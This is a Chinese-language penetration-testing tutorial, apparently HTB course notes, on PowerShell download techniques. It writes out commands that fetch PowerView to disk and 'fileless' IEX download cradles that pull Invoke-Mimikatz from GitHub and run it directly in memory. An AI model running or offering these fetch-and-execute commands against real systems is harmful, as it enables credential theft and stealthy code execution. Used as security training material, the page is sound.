PowerShell DownloadString - 无文件方法

我们可以指定类名Net.WebClient和方法,DownloadFile参数与要下载的目标文件的URL和输出文件名相对应。

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

PowerShell DownloadString - 无文件方法

正如我们之前所讨论的,无文件攻击通过使用某些操作系统功能来下载有效载荷并直接执行。PowerShell 也可用于执行无文件攻击。我们可以使用 Invoke-Expression cmdlet 或别名 IEX 直接在内存中运行,而不是将 PowerShell 脚本下载到磁盘。

PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

IEX 还接受管道输入。

PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell 调用-WebRequest

从 PowerShell 3.0 开始,Invoke-WebRequest cmdlet 也可用,但下载文件的速度明显较慢。您可以使用别名iwrcurlwget来代替Invoke-WebRequest全名

PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

Harmj0y 在此汇编了一份内容广泛的 PowerShell 下载摇篮列表。值得注意的是,要熟悉它们及其细微差别,例如缺乏代理意识或接触磁盘(将文件下载到目标上),以便根据情况选择合适的下载摇篮。

最后更新于

这有帮助吗?